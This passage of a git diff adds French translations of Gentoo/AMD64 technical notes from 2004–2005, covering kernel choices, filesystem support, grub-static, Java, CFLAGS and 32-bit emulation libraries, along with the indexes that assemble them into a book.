+puisqu'il est supporté par la communauté, et le pilote «&nbsp;bcm5700&nbsp;»
+n'est là que pour aider ceux qui rencontrent des problèmes avec le pilote
+«&nbsp;tg3&nbsp;».
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/install-intro.xml b/xml/htdocs/proj/fr/base/amd64/install-intro.xml
new file mode 100644
index 00000000..52226067
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/install-intro.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/install-intro.xml,v 1.1 2005/01/22 16:00:33 cam Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+<title>Introduction</title>
+<subsection>
+<title>À propos des notes d'installation de Gentoo/AMD64</title>
+<body>
+
+<p>
+Les notes d'installation de Gentoo/AMD64 sont destinées à être utilisées lors de
+l'installation et de l'utilisation courante de Gentoo sur architecture AMD64.
+Vous devriez lire ces notes techniques dans leur intégralité avant d'essayer
+d'installer Gentoo/AMD64.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/install-software.xml b/xml/htdocs/proj/fr/base/amd64/install-software.xml
new file mode 100644
index 00000000..1806c35a
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/install-software.xml
@@ -0,0 +1,427 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/install-software.xml,v 1.1 2005/01/22 16:00:33 cam Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+<title>Noyaux disponibles</title>
+<subsection>
+<title>Sur le LiveCD</title>
+<body>
+
+<p>
+Pour ce qui est de la version 2004.3, le LiveCD contient un noyau sur lequel
+vous pouvez démarrer. Ce noyau s'appelle <c>gentoo</c> et supporte le SMP. Cela
+dit, les machines monoprocesseurs peuvent également l'utiliser.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Utiliser les bonnes sources de noyau</title>
+<body>
+
+<impo>
+Utilisez la série de noyaux <path>sys-kernel/gentoo-dev-sources</path>&nbsp;!
+Elle contient des correctifs spécifiques aux AMD64, ainsi qu'un certain nombre
+d'améliorations supplémentaires. Nous ne pourrons pas vous aider si vous
+utilisez d'autres sources.
+</impo>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Construire un noyau pour un portable eMachine</title>
+<body>
+
+<p>
+Quand vous configurez le noyau pour être utilisé sur un portable Athlon64 Mobile
+de type eMachine, vous <e>devez</e> compiler le support USB dans le noyau et non
+en module. Si vous ne le faites pas, vous aurez des erreurs de type
+«&nbsp;unknown keypress&nbsp;» de la part de <path>atkbd.c</path>. Désactiver le
+support USB ne fonctionnera pas.
+</p>
+
+<p>
+Les rapports de bon ou mauvais fonctionnement de ces portables sur la version
+2004.3 sont à soumettre sur le <uri link="http://bugs.gentoo.org">bugzilla de
+Gentoo</uri>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Les noyaux 2.4.x officiellement désuets</title>
+<body>
+
+<p>
+<b>La série des noyaux 2.4.x est officiellement déclarée désuète pour les
+AMD64.</b> Depuis le 2.4.23-pre7, devfs a été désactivé (en dur dans le noyau),
+car il était la cause de corruption de mémoire. Chez Gentoo, nous n'avons pas
+remarqué de tels problèmes, mais les 2.4 ne sont de toute façon pas une bonne
+solution sur Gentoo sans le devfs.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>gcc 3.3 officiellement désuet</title>
+<body>
+
+<p>
+<b>gcc3.3 est officiellement désuet pour les AMD64, depuis la sortie de Gentoo
+2004.3.</b> Tous les supports de la 2004.3 sont basés sur gcc 3.4.x.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Kernel Panic au démarrage</title>
+<body>
+
+<p>
+Si vous avez des «&nbsp;Kernel Panic&nbsp;» au démarrage, essayez d'utiliser le
+paramètre <c>idle=poll</c> dans les options de démarrage. Il y a un problème
+avec plusieurs BIOS et il semble que cela touche principalement les cartes mères
+à chipset VIA. Vous ne devez essayer de passer cette option au démarrage
+qu'<e>après</e> avoir mis à jour votre BIOS vers la dernière version disponible
+de votre constructeur de carte mère. Vous devriez également pouvoir résoudre ce
+problème en désactivant le support USB au démarrage dans votre BIOS. Si vous
+êtes obligé de mettre l'option <c>idle=poll</c>, merci de contacter votre
+constructeur de carte mère ou fournisseur de BIOS pour qu'il corrige le BIOS sur
+l'erreur de CPU N°93 (CPU Errata #93).
+</p>
+
+<p>
+Pour plus d'information sur ce point, vous pouvez consulter les archives des
+listes de diffusion suivantes&nbsp;:
+</p>
+
+<ul>
+ <li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0031.html</uri></li>
+ <li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0034.html</uri></li>
+</ul>
+
+<p>
+Vous remarquerez que ce n'est pas un problème spécifique à Gentoo&nbsp;!
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Support des systèmes de fichiers</title>
+<body>
+
+<p>
+Nous vous recommandons actuellement d'utiliser les formats ext2/3. Nous avons
+des rapports qui indiquent des problèmes aléatoires avec le reiserfs sur AMD64
+et avons entendu parler de problèmes majeurs avec le JFS sur des systèmes
+64&nbsp;bits (ce qui semble réellement étrange, dans la mesure où le JFS a été
+initialement conçu pour des systèmes 64&nbsp;bits).
+</p>
+
+<table>
+ <tr>
+  <th>Système de fichiers</th>
+  <th>Statut</th>
+ </tr>
+ <tr>
+  <ti>ext2</ti>
+  <ti>STABLE</ti>
+ </tr>
+ <tr>
+  <ti>ext3</ti>
+  <ti>STABLE</ti>
+ </tr>
+ <tr>
+  <ti>XFS</ti>
+  <ti>STABLE, >=gentoo-dev-sources-2.6.3</ti>
+ </tr>
+ <tr>
+  <ti>JFS</ti>
+  <ti>STABLE, >=gentoo-dev-sources-2.6.7</ti>
+ </tr>
+ <tr>
+  <ti>reiserfs</ti>
+  <ti>STABLE, >=gentoo-dev-sources-2.6.5</ti>
+ </tr>
+ <tr>
+  <ti>reiser4</ti>
+  <ti>NE FONCTIONNE PAS SUR AMD64, N'EST SUPPORTÉ SUR AUCUNE ARCHITECTURE&nbsp;!</ti>
+ </tr>
+</table>
+
+<p>
+Merci de nous rapporter tous les problèmes rencontrés avec vos systèmes de
+fichiers sur <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Le gestionnaire de démarrage&nbsp;: Compilation de grub</title>
+<body>
+
+<p>
+Grub ne se compile pas dans un environnement 64&nbsp;bits pur. Il ne pourra être
+compilé qu'en utilisant gcc avec le support multilib. Gentoo 2004.3 inclut le
+support multilib par défaut. Si vous choisissez de supprimer le support
+multilib pour gcc, alors vous devrez utiliser <c>grub-static</c>.
+<c>grub-static</c> peut être installé en utilisant les commandes
+suivantes&nbsp;:
+</p>
+
+<pre>
+# <i>emerge grub-static</i>
+# <i>cp -Rpv /usr/share/grub/i386-pc/* /boot/grub</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Certains paquets sont toujours masqués</title>
+<body>
+
+<p>
+Certains paquets marqués stables sur d'autres architectures sont toujours
+masqués sur AMD64. Cela ne signifie pas forcément qu'ils ne fonctionnent pas,
+mais que, simplement, aucun développeur Gentoo n'a pu les tester sur une machine
+AMD64. Si vous le pouvez, merci de tester ces applications masquées et de <uri
+link="http://bugs.gentoo.org">soumettre un rapport de bogue</uri> pour informer
+les développeurs que le paquet fonctionne ou pas.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Les paquets qui ne fonctionnent pas</title>
+<body>
+
+<p>
+Ne fonctionnent actuellement pas&nbsp;:
+</p>
+
+<ul>
+ <li>Firebird (la base de données, PAS le navigateur).</li>
+</ul>
+
+<p>
+Les applications qui ne fonctionnent pas en mode 64&nbsp;bits, mais qui
+fonctionnent en mode 32&nbsp;bits, en supposant que
+app-emulation/emul-linux-x86-baselibs et compagnie soient installés&nbsp;:
+</p>
+
+<ul>
+ <li>
+  Tout programme qui utilise des DLL 32&nbsp;bits qui viennent de Windows (comme
+  le support de mplayer/xine pour certains formats propriétaires).
+ </li>
+ <li>
+  Tous les programmes qui nécessitent un code assembleur en 32&nbsp;bits.
+ </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Le support de Java</title>
+<body>
+
+<p>
+Blackdown a sorti une version de Java pour Linux sur AMD64 en 64&nbsp;bits
+natif. C'est une candidate de sortie donc n'espérez pas qu'elle soit parfaite.
+Elle se trouve dans Portage en tant que <path>blackdown-jdk-1.4.2</path> et
+<path>blackdown-jre-1.4.2</path>.
+</p>
+
+<p>
+Certaines personnes ont remarqué que la machine virtuelle Java 64&nbsp;bits est
+plus lente que la version 32&nbsp;bits. Juergen Kreileder, du projet Blackdown,
+a apporté une réponse à cette remarque&nbsp;:
+</p>
+
+<pre>
+Actuellement, la machine virtuelle 64&nbsp;bits est plus rapide que la
+32&nbsp;bits dans la plupart des tests effectués.
+
+La différence que ces personnes ont remarqué doit probablement
+provenir de l'utilisation de machines virtuelles différentes :
+La version i386 est fournie avec le client de machine virtuelle
+HotSpot et le serveur HotSpot associé, et la machine virtuelle
+client est utilisée par défaut. La version AMD64 n'est accompagnée
+que du serveur de machine virtuelle, le client n'a pas encore été
+porté.
+
+En général, le serveur est la machine virtuelle la plus rapide. Ses
+compilateurs utilisent plus d'optimisations et sont plus aggressifs
+que ceux de la machine virtuelle client. Il génère en général un
+code bien meilleur.
+La contrepartie est que ces optimisations ont un coût en temps CPU
+et en mémoire. Ce qui fera que lancer du code dans la machine
+virtuelle client est souvent plus rapide (au moins au début) que
+sur la machine virtuelle serveur.
+
+En d'autres termes : il n'est pas correct de comparer le client i386
+avec le serveur AMD64. Vous devez comparer le serveur i386 (c'est à
+dire « java -server ... ») avec le serveur AMD64.
+</pre>
+
+<p>
+Il a également répondu à une question portant sur le temps d'attente à
+espérer avant de pouvoir disposer de la machine virtuelle client&nbsp;:
+</p>
+
+<pre>
+Elle ne sera pas présente dans la version finale de la 1.4.2. Ce ne
+sera peut-être pas pour la 1.5.0 (pour Sun et Blackdown), Sun est
+content de son port du serveur et n'est pas vraiment intéressé par
+sortir un portage du client (les autres machines virtuelles 64 bits
+pour IA64 et SPARC64 disposent également uniquement du serveur). De
+plus, c'est trop de travail (je dirais dans les 10-13 semaines/homme)
+pour le faire sans rémunération.
+</pre>
+
+<p>
+Donc si vous voulez lancer des tests, soyez sport, utilisez «&nbsp;java
+-server&nbsp;» sur les deux architectures concernées et n'espérez pas avoir une
+version de machine virtuelle client d'ici un petit bout de temps.
+</p>
+
+<p>
+Une fois que vous aurez installé java, le lien symbolique suivant est nécessaire
+pour pouvoir l'utiliser avec mozilla (et probablement aussi konqueror)&nbsp;:
+</p>
+
+<pre>
+/usr/lib/nsbrowser/plugins/libjavaplugin_oji.so -> \
+/opt/blackdown-jdk-1.4.2_rc1/jre/plugin/amd64/mozilla/libjavaplugin_oji.so
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Installer OpenOffice.org</title>
+<body>
+
+<p>
+OpenOffice.org n'est actuellement disponible qu'en binaire 32&nbsp;bits, dans la
+mesure où la version 1.1.x ne se compilera pas sur un AMD64. Pour installer
+OpenOffice.org, installez le paquet <path>app-office/openoffice-bin</path>.
+</p>
+
+<note>
+N'espérez même pas essayer de compiler OpenOffice.org à partir des sources.
+C'est un effort vain qui ne vous mènera qu'à des nuits blanches inutiles.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Configurer correctement les paramètres CFLAGS</title>
+<body>
+
+<p>
+À la différence de gcc 3.3, gcc 3.4 demande que l'on utilise -march. Les
+paramètres CFLAGS les plus appropriés pourraient être ceux-ci&nbsp;:
+</p>
+
+<pre caption="gcc-3.4 CFLAGS">
+...
+CFLAGS="-march=k8 -O2 -pipe"
+...
+</pre>
+
+<note>
+<c>-march=k8</c> est équivalent à <c>-march=athlon64</c> qui lui même l'est à
+<c>-march=opteron</c>.
+</note>
+
+<p>
+Il arrive qu'il y ait des problèmes avec la construction des objets partagés si
+on omet le paramètre <c>-fPIC</c>. La raison est expliquée sur ce message de
+liste de diffusion&nbsp;: <uri
+link="http://www.x86-64.org/lists/discuss/msg02621.html">Porting to Hammer</uri>
+-- Descendez à «&nbsp;Shared libraries must be compiled with -fPIC&nbsp;». Si
+vous trouvez des paquets qui ont besoin du paramètre <c>-fPIC</c> pour être
+lancés/liés correctement, merci de nous les indiquer immédiatement, afin que
+l'on puisse mettre à jour ces paquets. Merci de ne pas spécifier <c>-fPIC</c>
+dans vos paramètres généraux CFLAGS dans la mesure où ce n'est pas une solution
+acceptable, mais juste une petite astuce de contournement.
+</p>
+
+<p>
+Ne mettez pas <c>-m32</c> dans vos paramètres USE, dans la mesure où vous ne
+souhaiterez probablement pas compiler votre système en mode 32&nbsp;bits. Par
+défaut, Gentoo ne supporte de toute façon pas la compilation de binaires en
+32&nbsp;bits. Utiliser le paramètre <c>-m64</c> est inutile dans la mesure où le
+compilateur utilisera le mode 64&nbsp;bits par défaut et cela peut avoir des
+effets négatifs sur le code qui dispose du paramètre <c>-m32</c> de manière
+interne, pour compiler du binaire 32&nbsp;bits (comme par exemple les dernières
+versions de grub).
+</p>
+
+<warn>
+N'utilisez pas <c>-Os</c>. C'est un paramètre connu pour empêcher des parties de
+KDE 3.2.0 de compiler.
+</warn>
+
+</body>
+</section>
+
+<section>
+<title>Paramètres USE qui sont ignorés</title>
+<body>
+
+<p>
+Les paramètres USE <c>mmx</c>, <c>3dnow</c>, <c>sse</c> et <c>sse2</c> sont
+ignorés sur AMD64, dans la mesure où tous les processeurs AMD64 supportent ces
+jeux d'instructions. Ils sont ignorés car ils activent l'optimisation
+32&nbsp;bits d'assembleur pour certains paquets.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Rapporter des bogues et soumettre des correctifs</title>
+<body>
+
+<p>
+Si vous avez une application avec laquelle vous avez des problèmes, si vous
+disposez d'un correctif pour corriger des problèmes ou simplement si vous voulez
+rapporter une compilation réalisée avec succès afin que nous puissions en tenir
+compte dans Portage, merci de rapporter un bogue sur <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri>.
+</p>
+
+<note>
+Vous pouvez mettre <mail link="amd64@gentoo.org">amd64@gentoo.org</mail> dans le
+champ «&nbsp;CC:&nbsp;» si vous le souhaitez.
+</note>
+
+<note>
+Pour soumettre un correctif, vous devez tout d'abord créer un rapport de bogue,
+puis revenir sur le rapport et choisir «&nbsp;Create a new attachment&nbsp;».
+</note>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/intro.xml b/xml/htdocs/proj/fr/base/amd64/intro.xml
new file mode 100644
index 00000000..bea2d789
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/intro.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/intro.xml,v 1.1 2005/01/22 16:00:33 cam Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+<title>Introduction au projet Gentoo/AMD64</title>
+<subsection>
+<title>À propos du projet Gentoo/AMD64</title>
+<body>
+
+<p>
+La raison d'être du projet Gentoo/AMD64 est de proposer une distribution Gentoo
+Linux la plus à jour, rapide et robuste possible. Cela implique notamment
+l'introduction de moyens innovants pour intégrer une couche de compatibilité
+32&nbsp;bits dans notre espace 64&nbsp;bits natif, sans modifier l'environnement
+courant. Notre objectif principal est de proposer une distribution de qualité
+professionnelle pour les serveurs de production, puisque ce sont eux qui
+utilisent principalement les processeurs Opteron.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/resources.xml b/xml/htdocs/proj/fr/base/amd64/resources.xml
new file mode 100644
index 00000000..f0bc9913
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/resources.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/resources.xml,v 1.1 2005/01/22 16:00:33 cam Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+<title>Ressources additionnelles pour Gentoo/AMD64</title>
+<subsection>
+<title>Le manuel officiel d'installation de Gentoo</title>
+<body>
+
+<p>
+Ces notes techniques ne sont qu'un complément à la documentation officielle de
+Gentoo. Lisez le <uri
+link="http://www.gentoo.org/doc/fr/handbook/handbook.xml">Manuel Gentoo</uri>
+pour avoir des informations d'ordre générique sur l'installation de Gentoo.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Listes de diffusion et forums de discussion</title>
+<body>
+
+<p>
+Le projet Gentoo/AMD64 dispose actuellement d'une liste de diffusion et d'une
+catégorie dédiée dans les forums officiels de Gentoo qui vous permettront de
+poser vos questions.
+</p>
+
+<ul>
+ <li>
+  Le forum&nbsp;: <uri>http://forums.gentoo.org/viewforum.php?f=46</uri>.
+ </li>
+ <li>
+  La liste de diffusion&nbsp;: <mail
+  link="gentoo-amd64-subscribe@gentoo.org">Souscrire</mail> / <mail
+  link="gentoo-amd64-unsubscribe@gentoo.org">Se désinscrire</mail> / <uri
+  link="http://www.gentoo.org/main/en/lists.xml">Aperçu des différentes listes
+  de diffusion</uri>.
+ </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Canal de discussion IRC Gentoo/AMD64</title>
+<body>
+
+<p>
+Si vous avez lu toute la documentation et avez toujours un doute sur un point
+précis concernant le projet, le mieux est alors de poser votre question
+directement sur le canal de discussion IRC #gentoo-amd64 sur le serveur IRC
+irc.freenode.net.
+</p>
+
+<note>
+Il est important de bien lire les notes techniques <e>en premier</e> avant de
+poser des questions sur les forums, les listes de diffusion ou sur IRC.
+</note>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Le site x86-64.org</title>
+<body>
+
+<p>
+Si vous êtes intéressé par l'écriture de correctifs pour améliorer les ebuilds
+qui ne fonctionnent pas, la <uri link="http://www.x86-64.org">page Internet
+AMD64</uri> contient des informations utiles sur le port d'applications vers une
+plate-forme de type AMD64.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/technotes.xml b/xml/htdocs/proj/fr/base/amd64/technotes.xml
new file mode 100644
index 00000000..927d6ae4
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/technotes.xml
@@ -0,0 +1,125 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/technotes.xml,v 1.2 2005/02/01 13:54:31 neysx Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+
+<book link="technotes.xml" lang="fr">
+<title>Informations à propos du projet Gentoo/AMD64</title>
+
+<author title="Correcteur">
+  <mail link="jhuebel@gentoo.org">Jason Huebel</mail>
+</author>
+<author title="Correcteur">
+  <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+<author title="Traducteur">
+  <mail link="clement@varaldi.org">Clément Varaldi</mail>
+</author>
+<author title="Traducteur">
+  <mail link="cam@gentoo.org">Camille Huot</mail>
+</author>
+
+<abstract>
+Le projet Gentoo/AMD64 essaye de fournir une distribution Gentoo à jour, 
+rapide et robuste pour architectures AMD64 (et IA-32e).
+</abstract>
+
+<license/>
+
+<version>2004.3</version>
+<date>2005-01-24</date>
+
+<part>
+<title>À propos du projet Gentoo/AMD64</title>
+<abstract>
+Donne une introduction au projet Gentoo/AMD64 et présente différentes
+ressources relatives aux AMD64, en dehors de ce document.
+</abstract>
+
+<chapter>
+<title>Introduction</title>
+<abstract>
+Une introduction au projet Gentoo/AMD64.
+</abstract>
+<include href="intro.xml"/>
+</chapter>
+
+<chapter>
+<title>Développement Gentoo/AMD64</title>
+<abstract>
+Qui sont les développeurs et comment pouvez-vous apporter votre aide&nbsp;?
+</abstract>
+<include href="devel.xml"/>
+</chapter>
+
+<chapter>
+<title>Politique de bogues avec Gentoo/AMD64</title>
+<abstract>
+Comment trouver, soumettre et résoudre les bogues sur Gentoo/AMD64&nbsp;?
+</abstract>
+<include href="bugs.xml"/>
+</chapter>
+
+<chapter>
+<title>Ressources additionnelles</title>
+<abstract>
+D'autres ressources utiles pour mettre en œuvre et utiliser Gentoo/AMD64.
+</abstract>
+<include href="resources.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Notes d'installation pour Gentoo/AMD64</title>
+<abstract>
+Cette partie donne des informations sur les points essentiels utiles à
+l'installation de Gentoo/AMD64.
+</abstract>
+
+<chapter>
+<title>Introduction</title>
+<abstract>
+Une introduction aux notes techniques d'installation pour Gentoo/AMD64.
+</abstract>
+<include href="install-intro.xml"/>
+</chapter>
+
+<chapter>
+<title>Matériel</title>
+<abstract>
+Donne des informations sur les points qui concernent le matériel pour une
+plate-forme Gentoo/AMD64.
+</abstract>
+<include href="install-hardware.xml"/>
+</chapter>
+
+<chapter>
+<title>Logiciels</title>
+<abstract>
+Donne des informations qui concernent les logiciels sur plate-forme
+Gentoo/AMD64.
+</abstract>
+<include href="install-software.xml"/>
+</chapter>
+
+<chapter>
+<title>Compatibilité 32&nbsp;bits</title>
+<abstract>
+Donne des informations sur comment utiliser des applications 32&nbsp;bits sur
+Gentoo/AMD64.
+</abstract>
+<include href="install-32bit.xml"/>
+</chapter>
+
+<chapter>
+<title>Errata</title>
+<abstract>
+Jetez un œil ici pour avoir des informations tardives sur ce qui n'a pas été
+ajouté aux notes techniques principales.
+</abstract>
+<include href="install-errata.xml"/>
+</chapter>
+</part>
+</book>
diff --git a/xml/htdocs/proj/fr/base/amd64/technotes/index.xml b/xml/htdocs/proj/fr/base/amd64/technotes/index.xml
new file mode 100644
index 00000000..20622691
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/technotes/index.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/technotes/index.xml,v 1.2 2005/03/29 20:21:45 neysx Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+
+<book link="index.xml" lang="fr">
+<title>Informations à propos du projet Gentoo/AMD64</title>
+
+<author title="Correcteur">
+  <mail link="jhuebel@gentoo.org">Jason Huebel</mail>
+</author>
+<author title="Correcteur">
+  <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+<author title="Traducteur">
+  <mail link="clement@varaldi.org">Clément Varaldi</mail>
+</author>
+<author title="Traducteur">
+  <mail link="cam@gentoo.org">Camille Huot</mail>
+</author>
+
+<abstract>
+Notes techniques à propos de l'architecture AMD64
+</abstract>
+
+<license/>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<part>
+<title>Notes techniques pour Gentoo/AMD64</title>
+<abstract>
+Cette partie donne des informations sur les points essentiels utiles à
+l'installation de Gentoo/AMD64.
+</abstract>
+
+<chapter>
+<title>Introduction</title>
+<abstract>
+Une introduction aux notes techniques d'installation pour Gentoo/AMD64.
+</abstract>
+<include href="install-intro.xml"/>
+</chapter>
+
+<chapter>
+<title>Matériel</title>
+<abstract>
+Donne des informations sur les points qui concernent le matériel pour une
+plate-forme Gentoo/AMD64.
+</abstract>
+<include href="install-hardware.xml"/>
+</chapter>
+
+<chapter>
+<title>Logiciels</title>
+<abstract>
+Donne des informations qui concernent les logiciels sur plate-forme
+Gentoo/AMD64.
+</abstract>
+<include href="install-software.xml"/>
+</chapter>
+
+<chapter>
+<title>Compatibilité 32&nbsp;bits</title>
+<abstract>
+Donne des informations sur comment utiliser des applications 32&nbsp;bits sur
+Gentoo/AMD64.
+</abstract>
+<include href="install-32bit.xml"/>
+</chapter>
+
+<chapter>
+<title>Errata</title>
+<abstract>
+Jetez un œil ici pour avoir des informations tardives sur ce qui n'a pas été
+ajouté aux notes techniques principales.
+</abstract>
+<include href="install-errata.xml"/>
+</chapter>
+
+<chapter>
+<title>Ressources additionnelles</title>
+<abstract>
+D'autres ressources utiles pour mettre en œuvre et utiliser Gentoo/AMD64.
+</abstract>
+<include href="resources.xml"/>
+</chapter>
+</part>
+</book>
diff --git a/xml/htdocs/proj/fr/base/amd64/technotes/install-32bit.xml b/xml/htdocs/proj/fr/base/amd64/technotes/install-32bit.xml
new file mode 100644
index 00000000..ef3f08af
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/technotes/install-32bit.xml
@@ -0,0 +1,181 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/technotes/install-32bit.xml,v 1.2 2005/03/29 20:21:45 neysx Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Lancer des programmes 32&nbsp;bits</title>
+<body>
+
+<impo>
+VOUS DEVEZ AVOIR ACTIVÉ L'ÉMULATION IA32 («&nbsp;IA32 Emulation&nbsp;») DANS LA
+SECTION «&nbsp;Executable File Formats&nbsp;» DE VOTRE NOYAU&nbsp;!
+</impo>
+
+<p>
+De nombreux changements sont en cours actuellement et le meilleur moyen de
+mettre en place un environnement 32&nbsp;bits est d'installer les bibliothèques
+d'émulation.
+</p>
+
+<pre>
+# <i>emerge app-emulation/emul-linux-x86-baselibs</i>
+# <i>emerge app-emulation/emul-linux-x86-xlibs</i>
+# <i>emerge app-emulation/emul-linux-x86-gtklibs</i>
+# <i>emerge app-emulation/emul-linux-x86-qtlibs</i>
+</pre>
+
+<p>
+L'installation va créer un répertoire <path>/emul/linux/x86</path> et y
+installer la plupart des bibliothèques dont vous devriez avoir besoin pour
+lancer des applications précompilées 32&nbsp;bits. Des liens symboliques seront
+également créés, comme <path>/lib32</path> et <path>/usr/lib32</path>, qui
+pointeront vers les bons répertoires dans <path>/emul</path>. Enfin, un lien
+symbolique de <path>/lib/ld-linux.so.2</path> vers
+<path>/emul/linux/x86/lib/ld-linux.so.2</path> sera créé, puisque la variante
+64&nbsp;bits s'appelle, elle, <path>ld-linux-x86-64.so.2</path>.
+</p>
+
+<p>
+Une fois ces trois paquets installés, vous devriez pouvoir lancer la plupart des
+applications 32&nbsp;bits précompilées (comme, par exemple, Java, Oracle 9i ou
+Opera).
+</p>
+
+</body>
+</section>
+<section>
+<title>Compiler des applications 32&nbsp;bits dans un environnement 64&nbsp;bits
+(en utilisant multilib)</title>
+<body>
+
+<p>
+Vous devez tout d'abord disposer d'un environnement 32&nbsp;bits en état de
+fonctionnement, comme nous l'avons décrit dans la section précédente. Ensuite,
+vous devez ajouter <c>multilib</c> dans vos paramètres USE dans
+<path>/etc/make.conf</path> et installer (ou réinstaller)
+<path>gcc-3.3.3-r5</path>. Cela construira GCC avec le support multilib, qui
+vous permettra de créer des binaires 32&nbsp;bits en utilisant le paramètre
+CFLAGS <c>-m32</c>. Les compilations 64&nbsp;bits ne sont pas affectées par le
+support de multilib. (Vous pouvez néanmoins, si vous voulez être sûr de vous,
+pour une raison quelconque, utiliser <c>-m64</c>.)
+</p>
+
+<note>
+Nous recommandons fortement à nos utilisateurs de <e>ne jamais ajouter</e>
+<c>-m32</c> dans leur <path>/etc/make.conf</path> et de ne pas utiliser
+<c>-m32</c> avec Portage. Nous recommandons de ne faire des compilations
+32&nbsp;bits qu'à la main et non en utilisant le système de Portage. Ne pas
+tenir compte de cette remarque pourrait fortement endommager la structure de
+dépendances de Portage. Ne nous demandez pas de corriger cela, ce sera votre
+faute si cela ne fonctionne plus.
+</note>
+
+</body>
+</section>
+<section>
+<title>Créer un environnement 32&nbsp;bits chrooté</title>
+<body>
+
+<p>
+Grâce à l'installation des bibliothèques d'émulation 32&nbsp;bits, il est
+possible de lancer la plupart des applications 32&nbsp;bits dans un
+environnement 64&nbsp;bits. Cependant, il n'est pas facile de compiler de
+nouvelles applications ou d'installer des nouvelles bibliothèques 32&nbsp;bits.
+Cela peut rendre difficile l'utilisation d'applications comme Wine ou le
+plugin Netscape Flash pour Mozilla. Une installation 32&nbsp;bits chrootée
+vous permettra d'utiliser votre gestionnaire de paquets favori pour
+installer des applications et des bibliothèques 32&nbsp;bits. Cela signifie
+également que vous pouvez alors optimiser les paquets comme vous l'entendez. Les
+bibliothèques d'émulation sont compilées avec seulement quelques optimisations
+mineures parce qu'elles sont également utilisées sur la plate-forme IA64. Un
+contre-coup majeur est l'espace disque utilisé. Toutes les applications et les
+bibliothèques seront installées en double.
+</p>
+
+<p>
